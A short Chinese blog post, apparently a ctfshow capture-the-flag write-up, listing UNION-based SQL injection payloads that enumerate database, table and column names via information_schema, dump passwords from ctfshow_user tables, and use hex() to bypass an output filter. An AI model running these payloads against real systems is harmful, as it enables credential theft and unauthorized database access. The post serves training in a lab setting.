ctfshow——web入门（sql注入）

south_1

于 2021-08-11 14:26:20 发布

阅读量310

点赞数 1

分类专栏： web 文章标签： sql web

本文链接：https://blog.youkuaiyun.com/doraemon12345/article/details/119601656

版权

25 篇文章

订阅专栏

爆库：1'union select 1,2,database()--+

在这里插入图片描述

爆表：1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database()--+

在这里插入图片描述

爆列名：1'union select 1,2,group_concat(column_name)from information_schema.columns where table_name='ctfshow_user'--+

在这里插入图片描述

查表：1'union select 1,2,group_concat(password)from ctfshow_user--+

在这里插入图片描述

' union select 1,group_concat(password) from ctfshow_user2--+

有正则过滤，这里使用hex进行绕过

' union select hex(id),hex(username),hex(password) from  ctfshow_user3 where username='flag'--+

在这里插入图片描述

得到16进制转换一下
在这里插入图片描述

注：后面的题会陆续补上